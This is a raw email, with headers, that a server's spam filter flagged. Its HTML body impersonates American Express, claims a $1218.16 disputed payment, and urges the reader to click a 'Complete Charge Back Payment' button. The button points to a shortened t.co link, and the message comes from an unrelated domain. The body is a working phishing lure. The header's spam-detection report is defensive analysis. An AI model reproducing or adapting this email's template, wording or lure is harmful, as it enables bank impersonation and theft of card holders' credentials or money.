Return-Path: <info@behniwalgroup.com>
Delivered-To: behniwal+spam@server.rnv.kpw.mybluehostin.me
Received: from server.rnv.kpw.mybluehostin.me
	by server.rnv.kpw.mybluehostin.me with LMTP
	id 4wmbEEZtX2nxKQAAyTkJsw
	(envelope-from <info@behniwalgroup.com>)
	for <behniwal+spam@server.rnv.kpw.mybluehostin.me>; Thu, 08 Jan 2026 01:39:34 -0700
Return-path: <info@behniwalgroup.com>
Envelope-to: info@behniwalgroup.com
Delivery-date: Thu, 08 Jan 2026 01:39:34 -0700
Received: from 31-149-213-145.biz.kpn.net ([31.149.213.145]:63601 helo=behniwalgroup.com)
	by server.rnv.kpw.mybluehostin.me with esmtp (Exim 4.95)
	(envelope-from <info@behniwalgroup.com>)
	id 1vdlYK-0002m7-4v
	for info@behniwalgroup.com;
	Thu, 08 Jan 2026 01:39:34 -0700
From: "American Express" <info@behniwalgroup.com>
To: info@behniwalgroup.com
Date: 08 Jan 2026 09:38:52 +0100
Message-ID: <20260108093851.6BE34438B38618FA@behniwalgroup.com>
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Spam-Status: Yes, score=7.0
X-Spam-Score: 70
X-Spam-Bar: +++++++
X-Spam-Report: Spam detection software, running on the system "server.rnv.kpw.mybluehostin.me",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Your due date is approaching. Dear Card Member, A Disputed
    Payment Received 
 Content analysis details:   (7.0 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 TVD_RCVD_IP            Message was received from an IP address
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: americanexpress.com]
  1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in
                             bl.spamcop.net
              [Blocked - see <https://www.spamcop.net/bl.shtml?31.149.213.145>]
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                         [31.149.213.145 listed in sa-trusted.bondedsender.org]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                            [31.149.213.145 listed in bl.score.senderscore.com]
  1.5 SPF_HELO_SOFTFAIL      SPF: HELO does not match SPF record (softfail)
  1.5 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
  0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
                             identical to background
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  0.0 LOTS_OF_MONEY          Huge... sums of money
  0.0 T_KAM_HTML_FONT_INVALID Test for Invalidly Named or Formatted
                             Colors in HTML
  0.0 KAM_SHORT              Use of a URL Shortener for very short URL
  2.6 RDNS_DYNAMIC           Delivered to internal network by host with
                             dynamic-looking rDNS
  0.0 TO_EQ_FM_DIRECT_MX     To == From and direct-to-MX
  0.0 T_REMOTE_IMAGE         Message contains an external image
X-Spam-Flag: YES
Subject:    View and Complete: Disputed Payment Posted To Your Account.

<HTML><HEAD>
<META name=3DGENERATOR content=3D"MSHTML 11.00.10570.1001"></HEAD>
<BODY>
<TABLE style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px; FONT-FAMILY: Robot=
o, sans-serif; WIDTH: 620px; BACKGROUND: rgb(255,255,255); WHITE-SPACE: nor=
mal; WORD-SPACING: 0px; BORDER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FO=
NT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; TEXT-ALIGN: left;=
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mal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decora=
tion-thickness: initial; text-decoration-style:=20
initial; text-decoration-color: initial" cellSpacing=3D0 cellPadding=3D0 al=
ign=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 0px; DIRECTION: ltr; TEXT-ALIGN: center; PADDING-TOP: =
0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<DIV style=3D"BOX-SIZING: border-box; MAX-WIDTH: 620px; MARGIN: 0px auto">
<TABLE style=3D"BOX-SIZING: border-box; WIDTH: 620px; BORDER-COLLAPSE: coll=
apse" cellSpacing=3D0 cellPadding=3D0 align=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
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GN: top; DIRECTION: ltr; TEXT-ALIGN: left; DISPLAY: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; VERTICAL-ALIGN: top; BORDER-COLLAPSE: =
collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADDING=
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<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
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<DIV style=3D'BOX-SIZING: border-box; FONT-SIZE: 13px; FONT-FAMILY: "Helvet=
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1,51); TEXT-ALIGN: center; LINE-HEIGHT: 20px'>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block">Your due d=
ate is approaching.</P></DIV></TD></TR></TBODY></TABLE></TD></TR></TBODY></=
TABLE></DIV></TD></TR></TBODY></TABLE></DIV>
<DIV style=3D"BOX-SIZING: border-box; MAX-WIDTH: 620px; MARGIN: 0px auto">
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GN: top; DIRECTION: ltr; TEXT-ALIGN: left; DISPLAY: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; VERTICAL-ALIGN: top; BORDER-COLLAPSE: =
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<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD class=3Dv1pad-1 style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER=
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<TABLE style=3D"BOX-SIZING: border-box; FONT-SIZE: 13px; BORDER-TOP: medium=
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ium none; WIDTH: 580px; BORDER-COLLAPSE: collapse; TABLE-LAYOUT: auto; BORD=
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<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" vAlign=3Dto=
p width=3D"15%"><IMG class=3Dv1dls-logo-bluebox-solid-sm style=3D"BOX-SIZIN=
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ium; OUTLINE-STYLE: none; BORDER-LEFT: 0px; OUTLINE-COLOR: invert; LINE-HEI=
GHT: 13px" alt=3D"American Express Logo" src=3D"https://cdaas.americanexpre=
ss.com/akamai/axp/comms/logos/logo.png" width=3D60 height=3D60></TD>
<TD class=3D"v1pad-1-l v1pad-1-r" style=3D'BOX-SIZING: border-box; FONT-SIZ=
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<P class=3Dv1body-1 style=3D"BOX-SIZING: border-box; FONT-WEIGHT: normal; M=
ARGIN: 0px; DISPLAY: block; LINE-HEIGHT: 22px">&nbsp;</P></TD>
<TD style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" vAlign=3Dto=
p width=3D"17%" align=3Dright>
<IMG class=3Dv1dls-card-xs style=3D"BOX-SIZING: border-box; TEXT-DECORATION=
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iddle; BORDER-BOTTOM: 0px; OUTLINE-WIDTH: medium; OUTLINE-STYLE: none; BORD=
ER-LEFT: 0px; OUTLINE-COLOR: invert; LINE-HEIGHT: 13px" alt=3D"Card Art" sr=
c=3D"https://www.aexp-static.com/online/myca/shared/summary/cardasset/image=
s/NUS000000256_160x101_STRAIGHT_96.jpg" width=3D96 height=3D60></TD></TR></=
TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY>
</TABLE></DIV></TD></TR></TBODY></TABLE></DIV>
<DIV style=3D"BOX-SIZING: border-box; MAX-WIDTH: 620px; BACKGROUND: rgb(0,1=
11,207); MARGIN: 0px auto">
<TABLE style=3D"BOX-SIZING: border-box; WIDTH: 620px; BACKGROUND: rgb(0,111=
,207); BORDER-COLLAPSE: collapse" cellSpacing=3D0 cellPadding=3D0 align=3Dc=
enter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 0px; DIRECTION: ltr; TEXT-ALIGN: center; PADDING-TOP: =
0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<DIV style=3D"BOX-SIZING: border-box; MAX-WIDTH: 620px; MARGIN: 0px auto">
<TABLE style=3D"BOX-SIZING: border-box; WIDTH: 620px; BORDER-COLLAPSE: coll=
apse" cellSpacing=3D0 cellPadding=3D0 align=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 0px; DIRECTION: ltr; TEXT-ALIGN: center; PADDING-TOP: =
0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<DIV style=3D"BOX-SIZING: border-box; MAX-WIDTH: 620px; BACKGROUND: url(htt=
ps://cdaas.americanexpress.com/akamai/axp/comms/icons/hl-pattern-50pc.png) =
center top; MARGIN: 0px auto">
<DIV style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; LINE-HEIGHT: 0">
<TABLE style=3D"BOX-SIZING: border-box; WIDTH: 620px; BACKGROUND: url(https=
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nter top; BORDER-COLLAPSE: collapse" cellSpacing=3D0 cellPadding=3D0 align=
=3Dcenter background=3Dhttps://cdaas.americanexpress.com/akamai/axp/comms/i=
cons/hl-pattern-50pc.png border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 40px; DIRECTION: ltr; TEXT-ALIGN: center; PADDING-TOP:=
 40px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<DIV style=3D"BOX-SIZING: border-box; MAX-WIDTH: 620px; MARGIN: 0px auto">
<TABLE style=3D"BOX-SIZING: border-box; WIDTH: 620px; BORDER-COLLAPSE: coll=
apse" cellSpacing=3D0 cellPadding=3D0 align=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 0px; DIRECTION: ltr; TEXT-ALIGN: center; PADDING-TOP: =
0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<DIV style=3D"BOX-SIZING: border-box; MAX-WIDTH: 620px; MARGIN: 0px auto">
<TABLE style=3D"BOX-SIZING: border-box; WIDTH: 620px; BORDER-COLLAPSE: coll=
apse" cellSpacing=3D0 cellPadding=3D0 align=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 0px; DIRECTION: ltr; TEXT-ALIGN: center; PADDING-TOP: =
0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<DIV class=3D"v1mj-column-per-6 v1mj-outlook-group-fix" style=3D"BOX-SIZING=
: border-box; FONT-SIZE: 0px; MAX-WIDTH: 6%; WIDTH: 37px; VERTICAL-ALIGN: m=
iddle; DIRECTION: ltr; TEXT-ALIGN: left; DISPLAY: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; VERTICAL-ALIGN: middle; BORDER-COLL=
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<TBODY style=3D"BOX-SIZING: border-box"></TBODY></TABLE></DIV>
<DIV class=3D"v1mj-column-per-10 v1mj-outlook-group-fix v1text-align-center=
" style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; MAX-WIDTH: 10%; WIDTH: 6=
2px; VERTICAL-ALIGN: middle; DIRECTION: ltr; TEXT-ALIGN: left; DISPLAY: inl=
ine-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
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<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; VERTICAL-ALIGN: middle; BORDER-COLLAPS=
E: collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADD=
ING-RIGHT: 0px">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD class=3Dv1pad-3-b style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORD=
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<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse; BORDER-S=
PACING: 0px" cellSpacing=3D0 cellPadding=3D0 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; WIDTH: 60px; BORDER-COLLAPSE: collapse=
">
<IMG style=3D"BOX-SIZING: border-box; FONT-SIZE: 13px; TEXT-DECORATION: non=
e; BORDER-TOP: 0px; HEIGHT: 60px; BORDER-RIGHT: 0px; WIDTH: 60px; VERTICAL-=
ALIGN: middle; BORDER-BOTTOM: 0px; OUTLINE-WIDTH: medium; OUTLINE-STYLE: no=
ne; BORDER-LEFT: 0px; DISPLAY: block; OUTLINE-COLOR: invert; LINE-HEIGHT: 1=
3px" alt=3D"Alternate Text" src=3D"https://cdaas.americanexpress.com/akamai=
/axp/comms/icons/ls-icon-warning.png" width=3D60 height=3D60></TD></TR></TB=
ODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY>
</TABLE></DIV>
<DIV class=3D"v1mj-column-per-6 v1mj-outlook-group-fix" style=3D"BOX-SIZING=
: border-box; FONT-SIZE: 0px; MAX-WIDTH: 6%; WIDTH: 37px; VERTICAL-ALIGN: m=
iddle; DIRECTION: ltr; TEXT-ALIGN: left; DISPLAY: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; VERTICAL-ALIGN: middle; BORDER-COLL=
APSE: collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box"></TBODY></TABLE></DIV></TD></TR></T=
BODY></TABLE></DIV></TD></TR></TBODY></TABLE></DIV></TD></TR></TBODY></TABL=
E></DIV></DIV></TD></TR></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></D=
IV>
<DIV style=3D"BOX-SIZING: border-box; MAX-WIDTH: 620px; MARGIN: 0px auto">
<TABLE style=3D"BOX-SIZING: border-box; WIDTH: 620px; BORDER-COLLAPSE: coll=
apse" cellSpacing=3D0 cellPadding=3D0 align=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 10px; DIRECTION: ltr; TEXT-ALIGN: center; PADDING-TOP:=
 30px; PADDING-LEFT: 40px; PADDING-RIGHT: 40px">
<DIV class=3D"v1mj-column-per-100 v1mj-outlook-group-fix v1text-align-left"=
 style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; MAX-WIDTH: 100%; HEIGHT: =
214px; WIDTH: 542px; VERTICAL-ALIGN: top; DIRECTION: ltr; TEXT-ALIGN: left;=
 DISPLAY: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; VERTICAL-ALIGN: top; BORDER-COLLAPSE: =
collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADDING=
-RIGHT: 0px">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADDING-RIGH=
T: 0px" align=3Dleft>
<DIV style=3D'BOX-SIZING: border-box; FONT-SIZE: 15px; FONT-FAMILY: "Helvet=
ica Neue", Roboto, Helvetica, sans-serif; FONT-WEIGHT: 400; COLOR: rgb(51,5=
1,51); TEXT-ALIGN: left; LINE-HEIGHT: 22px'>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block">Dear Card =
Member,</P>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block">&nbsp;</P>=

<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block">A Disputed=
 Payment Received</P>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block">Disputed P=
ayment Posted To Your Account</P>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block">&nbsp;</P>=

<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block">We have ad=
justed your payment options to reflect a disputed amount of $1218.16. to yo=
ur card&nbsp; account<BR></P>Follow the prompt below to view chargeback sta=
tus=20
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block">&nbsp;</P>=
</DIV></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></DIV></TD></TR><=
/TBODY></TABLE></DIV>
<DIV style=3D"BOX-SIZING: border-box; MAX-WIDTH: 620px; MARGIN: 0px auto">
<TABLE style=3D"BOX-SIZING: border-box; WIDTH: 620px; BORDER-COLLAPSE: coll=
apse" cellSpacing=3D0 cellPadding=3D0 align=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 20px; DIRECTION: ltr; TEXT-ALIGN: center; PADDING-TOP:=
 20px; PADDING-LEFT: 40px; PADDING-RIGHT: 40px">
<DIV class=3D"v1mj-column-per-100 v1mj-outlook-group-fix" style=3D"BOX-SIZI=
NG: border-box; FONT-SIZE: 0px; MAX-WIDTH: 100%; WIDTH: 540px; VERTICAL-ALI=
GN: top; DIRECTION: ltr; TEXT-ALIGN: left; DISPLAY: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; VERTICAL-ALIGN: top; BORDER-COLLAPSE: =
collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADDING=
-RIGHT: 0px">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD class=3D"v1pad-0 v1pad-0-d v1btn-align-center" style=3D"BOX-SIZING: bor=
der-box; FONT-SIZE: 0px; BORDER-COLLAPSE: collapse; PADDING-BOTTOM: 0px; PA=
DDING-TOP: 13px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px" align=3Dcenter>
<TABLE style=3D"BOX-SIZING: border-box; WIDTH: 230px; BORDER-COLLAPSE: sepa=
rate; LINE-HEIGHT: 0px" cellSpacing=3D0 cellPadding=3D0 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; CURSOR: auto; BORDER-TOP: rgb(0,23,90)=
 1px solid; BORDER-RIGHT: rgb(0,23,90) 1px solid; BACKGROUND: rgb(0,23,90);=
 BORDER-COLLAPSE: collapse; BORDER-BOTTOM: rgb(0,23,90) 1px solid; BORDER-L=
EFT: rgb(0,23,90) 1px solid; border-radius: 5px" bgColor=3D#00175a vAlign=
=3Dmiddle align=3Dcenter>
<A style=3D"BOX-SIZING: border-box; FONT-SIZE: 15px; TEXT-DECORATION: none;=
 HEIGHT: 46px; FONT-FAMILY: Helvetica, Arial, Roboto, sans-serif; WIDTH: 29=
1px; BACKGROUND: rgb(0,23,90); TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLO=
R: rgb(255,255,255); PADDING-BOTTOM: 8px; PADDING-TOP: 8px; PADDING-LEFT: 2=
5px; MARGIN: 0px; DISPLAY: inline-block; LINE-HEIGHT: 22px; PADDING-RIGHT: =
25px; border-radius: 5px" href=3D"https://t.co/cmNUeeiZOA" rel=3Dnoreferrer=
 target=3D_blank>Complete&nbsp;Charge Back Payment </A>
</TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TAB=
LE></DIV></TD></TR></TBODY></TABLE></DIV>
<DIV style=3D"BOX-SIZING: border-box; MAX-WIDTH: 620px; MARGIN: 0px auto">
<TABLE style=3D"BOX-SIZING: border-box; WIDTH: 620px; BORDER-COLLAPSE: coll=
apse" cellSpacing=3D0 cellPadding=3D0 align=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 30px; DIRECTION: ltr; TEXT-ALIGN: center; PADDING-TOP:=
 10px; PADDING-LEFT: 40px; PADDING-RIGHT: 40px">
<DIV class=3D"v1mj-column-per-100 v1mj-outlook-group-fix v1text-align-left"=
 style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; MAX-WIDTH: 100%; WIDTH: 5=
40px; VERTICAL-ALIGN: top; DIRECTION: ltr; TEXT-ALIGN: left; DISPLAY: inlin=
e-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; VERTICAL-ALIGN: top; BORDER-COLLAPSE: =
collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADDING=
-RIGHT: 0px">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 10px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADDING-RIG=
HT: 0px" align=3Dleft>
<DIV style=3D'BOX-SIZING: border-box; FONT-SIZE: 15px; FONT-FAMILY: "Helvet=
ica Neue", Roboto, Helvetica, sans-serif; FONT-WEIGHT: 400; COLOR: rgb(51,5=
1,51); TEXT-ALIGN: left; LINE-HEIGHT: 22px'>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block">&nbsp;</P>=
</DIV></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADDING-RIGH=
T: 0px" align=3Dleft>
<DIV style=3D'BOX-SIZING: border-box; FONT-SIZE: 15px; FONT-FAMILY: "Helvet=
ica Neue", Roboto, Helvetica, sans-serif; FONT-WEIGHT: 400; COLOR: rgb(51,5=
1,51); TEXT-ALIGN: left; LINE-HEIGHT: 22px'>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block"><STRONG st=
yle=3D"BOX-SIZING: border-box; FONT-WEIGHT: bolder">Notice:</STRONG><SPAN>&=
nbsp;Payment will be posted into your account within 24 hours after validat=
ion.<BR></SPAN></P>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block"><SPAN>Than=
k you for your Card Membership,</SPAN></P>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block"><SPAN></SP=
AN>&nbsp;</P>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block"><SPAN>Amer=
ican Express Customer Care<BR></P></SPAN></DIV></TD></TR></TBODY></TABLE></=
TD></TR></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></DIV>
<DIV style=3D"BOX-SIZING: border-box; MAX-WIDTH: 620px; BACKGROUND: rgb(0,1=
11,207); MARGIN: 0px auto">
<TABLE style=3D"BOX-SIZING: border-box; WIDTH: 620px; BACKGROUND: rgb(0,111=
,207); BORDER-COLLAPSE: collapse" cellSpacing=3D0 cellPadding=3D0 align=3Dc=
enter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 0px; DIRECTION: ltr; TEXT-ALIGN: center; PADDING-TOP: =
0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<DIV class=3D"v1mj-column-px-NaN v1mj-outlook-group-fix v1text-align-center=
" style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; WIDTH: 620px; VERTICAL-A=
LIGN: middle; DIRECTION: ltr; TEXT-ALIGN: left; DISPLAY: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; VERTICAL-ALIGN: middle; BORDER-COLLAPS=
E: collapse; PADDING-BOTTOM: 20px; PADDING-TOP: 20px; PADDING-LEFT: 0px; PA=
DDING-RIGHT: 0px">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADDING-RIGH=
T: 0px" align=3Dcenter>
<DIV style=3D'BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-FAMILY: "Helvet=
ica Neue", Roboto, Helvetica, sans-serif; FONT-WEIGHT: bold; COLOR: rgb(255=
,255,255); TEXT-ALIGN: center; LINE-HEIGHT: 24px'>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block"><STRONG st=
yle=3D"BOX-SIZING: border-box; FONT-WEIGHT: bolder">Explore more with your =
American Express<SUP style=3D"BOX-SIZING: border-box; FONT-SIZE: 12px; VERT=
ICAL-ALIGN: super; POSITION: relative; LINE-HEIGHT: 0; TOP: -0.5em">&reg;</=
SUP><SPAN>&nbsp;</SPAN>Card</STRONG></P></DIV></TD></TR></TBODY></TABLE></T=
D></TR></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></DIV>
<DIV class=3Dv1ada-list style=3D"BOX-SIZING: border-box; MAX-WIDTH: 620px; =
MARGIN: 0px auto">
<TABLE style=3D"BOX-SIZING: border-box; WIDTH: 620px; BORDER-COLLAPSE: coll=
apse" cellSpacing=3D0 cellPadding=3D0 align=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
